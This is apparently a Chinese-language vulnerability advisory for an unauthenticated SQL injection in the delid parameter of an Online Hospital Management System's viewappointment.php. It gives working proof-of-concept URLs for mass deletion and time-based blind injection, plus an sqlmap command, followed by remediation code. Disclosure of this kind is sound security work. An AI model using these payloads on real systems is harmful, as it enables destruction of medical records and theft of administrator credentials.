# 漏洞总结:Online Hospital Management System SQL 注入漏洞 ## 漏洞概述 **Online Hospital Management System** 的 `viewappointment.php` 文件中存在未限制的 SQL 注入漏洞。该漏洞源于 `delid` 参数被直接拼接进 `DELETE` SQL 查询语句中,且缺乏任何过滤、转义或参数化查询保护。 * **触发条件**:任何**未认证**的远程攻击者均可触发。 * **利用方式**:攻击者无需登录会话,只需通过 URL 传递恶意构造的 `delid` 参数即可。 * **后果**:恶意攻击者可利用此漏洞删除所有预约记录、绕过身份验证或提取敏感数据库信息(包括管理员凭证)。 ## 影响范围 成功利用该漏洞允许攻击者: * 无需身份验证即可删除所有预约记录。 * 使用盲注 SQL 注入技术从数据库中提取敏感数据。 * 通过转储 `tbl_login` 表获取管理员凭证。 * 通过获取管理员权限来破坏整个应用程序。 ## 修复方案 1. **使用预处理语句**:避免直接字符串拼接,使用参数化查询。 2. **添加身份验证和授权检查**:在执行任何敏感操作前验证用户身份。 3. **验证资源所有权**:确保用户只能删除其拥有的记录。 4. **更改 HTTP 方法**:敏感的状态变更操作应使用 POST 请求而不是 GET。 ## POC 代码与利用代码 ### 1. 基本删除证明 (直接参数) 访问以下 URL 以删除 ID 为 1 的预约: ```text http://[target]/Hospital/viewappointment.php?delid=1 ``` ### 2. 通过 SQL 注入进行批量删除 访问以下 URL 以删除 `appointment` 表中的所有记录: ```text http://[target]/Hospital/viewappointment.php?delid=1' OR '1'='1 ``` 生成的 SQL 语句为: ```sql DELETE FROM appointment WHERE appointmentid='1' OR '1'='1' ``` ### 3. 基于时间的盲注 SQL 注入 使用以下 payload 通过时间延迟验证漏洞: ```text http://[target]/Hospital/viewappointment.php?delid=1' AND (SELECT SLEEP(5)) AND '1'='1 ``` ### 4. 使用 sqlmap 自动化利用 ```bash sqlmap -u "http://[target]/Hospital/viewappointment.php?delid=1" --level 3 ``` ### 修复代码示例 **1. 使用预处理语句:** ```php if(isset($_GET['delid'])) { $stmt = $con->prepare("DELETE FROM appointment WHERE appointmentid = ?"); $stmt->bind_param("i", $_GET['delid']); $stmt->execute(); } ``` **2. 添加身份验证和授权检查:** ```php if(!isset($_SESSION['patientid']) && !isset($_SESSION['adminid'])) { header('Location: login.php'); exit; } ``` **3. 验证资源所有权:** ```php $stmt = $con->prepare("SELECT patientid FROM appointment WHERE appointmentid = ?"); $stmt->bind_param("i", $_GET['delid']); $stmt->execute(); $result = $stmt->get_result()->fetch_assoc(); if($result['patientid'] != $_SESSION['patientid'] && !isset($_SESSION['adminid'])) { die("Unauthorized"); } ```